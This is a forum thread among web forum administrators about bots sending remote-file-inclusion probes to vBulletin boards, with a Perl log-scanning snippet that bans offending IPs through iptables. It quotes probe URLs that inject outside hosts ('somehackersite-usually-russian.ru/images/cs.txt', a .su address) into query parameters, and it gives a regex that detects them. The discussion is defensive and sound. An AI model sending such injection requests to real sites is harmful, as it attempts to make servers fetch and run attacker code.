Load Relief: Block the sniffers

[Jafo232]

If you have ever perused your logs on your big board, or any board for that matter, chances are you have seen requests like this:


/forums/showthread.php?t=http://somehackersite-usually-russian.ru/images/cs.txt?


Basically, there must have been some vulnerability in some version of VB that would probably execute whatever code is at somehackersite-usually-russian.ru/images/cs.txt, or at least display it in a users browser.

For the most part, these have been ferreted out by the VB team so it really isn't much to be worried about as far as security. These are just bots hitting known VB installs trying to recruit machines for some idiots nefarious dealings. If you watch your log in real time however, you can see that this happens over and over.. Multiple IP's from multiple locations. Basically, every time they hit the site, it creates load on the server.

This really annoys me because seriously, it is a waste of resources for not just me, but the hackers themselves. So finally I fired up my Perl scripting and wrote up something that searched the webserver log (access_log) and if it found any attempt to grab a thread starting with http:// it just banned it via iptables.. Here is a snippet:

open (FH, '/home/mysite/logs/access_log');

@log = <FH>;

close FH;

foreach (@log) {

if ($_ =~ m/showthread.php\?t=http:\/\//) {

# parse out and find IP, ban IP (unless it is mine, or in my range).

}


I won't post the entire code here, but basically it saves the IP's that it bans, to an array, serializes and saves it. Loads it upon script execution, unserializes it, and if a hack attempt is found in the log, and is not in the IP array, proceed to ban the ip with a drop:

$ban = `/sbin/iptables -I INPUT -s $ipaddress -j DROP`;

I ran this via a cronjob every 15 minutes and over the last 5 days I have banned over 600 IP addresses. Most of these are compromised machines I assume. Watching the logs, I see fewer and fewer hack attempts. The load on the server in question has dropped noticeably. Most of the time, this servers 30 minute average hovered around 0.50 - 0.60, it is now around 0.30 - 0.40.

Of course, the server could just be experiencing a slow week, but the numbers don't really indicate that.

I am considering redoing the script so I can release it to everyone free, it is just cobbled together at the moment so I don't really want to put it up yet.

Has anyone else here run into the same issues? Would anyone here be interested in the PERL script?

[Jafo232]

Just an update on this... I had to modify my code a bit because for some reason, I set a threshold of 5 offenses by an IP before it would ban them. It was something I had in another application of mine that I carried into it. Now I ban on the first offense.

So far over the last 7 days, 1,259 drops issued to iptables. Load throughout the day continues to drop.

[howard30]

Cool! i like the sound of this not that i own a big board but hey it would help to put it on before it gets to the point you were at no?

[UncoderMom]

I see that kind of link a lot but with my groups :eek:

example:

73592

I've seen them a lot this past 2 weeks but only in my groups.. hmmmmm

[UncoderMom]

one was a .text too.

--------------- Added 1198356811 at 1198356811 ---------------

and yet another one just now! AGH!

Guest
Viewing Error Message /groups/groups.php?g=http://migirlsadaoiwqiseatmeisum.mail333.su/body? Unknown Location
/groups/groups.php?g=http://migirlsadaoiwqiseatmeisum.mail333.su/body?

Are they trying to hack or use my mail system??

[Jafo232]

They are just bots scouring the net looking for vulnerabilities so they can exploit them. There is no one person sitting there clicking..

If your software is up to date, chances are, you have nothing to worry about.

[UncoderMom]

Thanks!

[EricGT]

A good firewall blocks this sort of attempted exploit automatically. I use Astaro and it blocks 70,000 or more exploits/attacks/probes daily. This is a great system and I sleep a little easier at night. Eric

[Jafo232]

A good firewall blocks this sort of attempted exploit automatically. I use Astaro and it blocks 70,000 or more exploits/attacks/probes daily. This is a great system and I sleep a little easier at night. Eric

Your firewall isn't going to protect your site against such an attack as the firewall has port 80 open, otherwise it would not be serving pages.

If you are serving data dynamically, of course there is a chance someone could hack your system, which is why there are patches for software.

[kmike]

Me thinks the load drop may have more with the Christmas season traffic lull than with the banning of these IP addresses....

[Jafo232]

Me thinks the load drop may have more with the Christmas season traffic lull than with the banning of these IP addresses....

And you base this on what exactly?

Not sure about your sites, but my traffic increases during the holiday season... Besides, I started this almost 3 weeks before.

[EricGT]

Your firewall isn't going to protect your site against such an attack as the firewall has port 80 open, otherwise it would not be serving pages.

If you are serving data dynamically, of course there is a chance someone could hack your system, which is why there are patches for software.


Ummm, port 80 is of course open, but the firewall does stateful packet inspection. The firewall's Intrusion Prevention system does block such attacks. Tens of thousands of them a day, in fact. It uses a realtime list of over 1,700 attack & exploit profiles to spot the illicit content in web traffic. I stay on top of patches and security updates, but a multi-layered defense offers added protection. Eric

[Jafo232]

Ummm, the firewall does stateful packet inspection. The firewall's Intrusion Prevention system does block such attacks. Tens of thousands of them a day, in fact. Eric

Sure, you can enter such rules into YOUR firewall to screen out such things, but the vast majority of users either do not have this feature, are ignorant on how to implement it, or do not have proper privi's to institute it.

Curious, does your solution block these IP's from further attacks?

[EricGT]

Sure, you can enter such rules into YOUR firewall to screen out such things, but the vast majority of users either do not have this feature, are ignorant on how to implement it, or do not have proper privi's to institute it.

Curious, does your solution block these IP's from further attacks?

The security policy system in Astaro is very robust. Rules can be written to act on findings of the IDS. This software costs less than $500 for a ten user license, users being unique domain names served. It needs to run on a dedicated server, but I imagine that someone out there offers a firewall script, with similar features, that will run as a service on an existing server. Eric

BTW, my comments were not intended to minimalize what you did with the script described in the OP. Like I said, I believe in a multi-layered approach to security. Your script sounds like a good idea. EP

[TECK]

And you base this on what exactly?
Not sure about your sites, but my traffic increases during the holiday season... Besides, I started this almost 3 weeks before.
kmike runs a small site with only 9 million posts and 4,000 concurent users online. :)
I think his experiences are to be trusted among other big boarders...
Try to listen more and communicate, instead of being defensive. A script like yours will not do much good to an attack coming from a decent russian hacker. Pray that you will not piss anyone from the East side. :)

[kmike]

And you base this on what exactly?

Not sure about your sites, but my traffic increases during the holiday season... Besides, I started this almost 3 weeks before.Well, apparently our forum audience is different from yours - we see a steady traffic drop during the Christmas week (up to 30% on 25th) and then a sharp increase on 26th when the members get back to the Net after the Christmas festivities.

But my point still stands, I don't think the vulnerability sniffing requests add much load to your forum. Their pattern is usually "hit and run" - no point hammering the forum with them when the first request (or the first few) fails. And besides, the target script will drop a parameter error at the very first stages of execution when the URI parameters are checked.

Of course, your efforts were not in vain, dropping the sniffing requests won't hurt the performance, but I think the effect is negligible compared let's say to the load the rampaging Yahoo spider can cause. Have you checked the search spider activity, maybe it's lower near the end of the year?

[Jafo232]

When you watch the logs in real time ( I use this (http://www.worldwidecreations.com/free_scripts/active_log_monitor) ) along side with the server load, you can watch it happen right in front of you. The same IP will send out a list of attacks, each one firing up VB (i.e. loading files and connecting to DB). These same IP's will also hit other scripts on the server looking for vulnerabilities.

If you use a good stats program, you can isolate these IP's and show how many times they hit the server. At that point, you can check it against after you start banning the IP's. The amount of hits take a nosedive.

I pipe the output of the script to a log file so I can see how it goes over a period of time. I execute the job every 10 minutes and at first, every execution would have X amount of attempts. After running the script for a couple days, you begin to notice that several executions result in 0 attempts, and that grows in of itself.

To date, the script has banned 2,425 IP's. It started by banning about 35 - 45 IP's an hour, it has now dropped to about 4 - 8 an hour.

[kmike]

If you use a good stats program, you can isolate these IP's and show how many times they hit the server. At that point, you can check it against after you start banning the IP's. The amount of hits take a nosedive.

I pipe the output of the script to a log file so I can see how it goes over a period of time. I execute the job every 10 minutes and at first, every execution would have X amount of attempts. After running the script for a couple days, you begin to notice that several executions result in 0 attempts, and that grows in of itself.So what are the hit numbers you were seeing?

I checked the logs for the last two days, and there were less than 1000 hits with "=http://" URI parameter per day. It's certainly something I wouldn't worry about at this point, since it constitutes probably about a hundrenth of percent of our total daily hits. Also about 20% of these hits had 404 or other not-OK HTTP status.

Maybe for a small forum with less hardware resources 1000 stray hits per day could be a problem, but then again, I'm pretty sure the number of bogus hits depends linearly on the forum position in the search engines, and this in turn depends indirectly on the forum activity. So smallish forums should see less sniffer bot activity.
If I find time before the year end, I'll try to prove that theory by looking through the small forum logs I have access to.

[wesintl]

PLEASE email me this perl script. Our forum just got shutdown because of these hack attempts and they won't turn us back on until we have a script in place. Big thanks! kstiever at hot mail

[Jafo232]

PLEASE email me this perl script. Our forum just got shutdown because of these hack attempts and they won't turn us back on until we have a script in place. Big thanks! kstiever at hot mail

It very well could be that my script would not work on your server. It parses my log file, which is an apache log file. You may not even be using apache, may be using a different version, may not have access to the log, may not have access to crontab, may not have access to shell (ssh, telnet) etc..

If you are using a shared server, then there is a 99.9% chance this method will NOT work for you. You need access to tools usually only root has, such as iptables.

If you do have root to your server, you should contact someone who is fluent in Perl to write you up a script, as it should only take about an hour or two.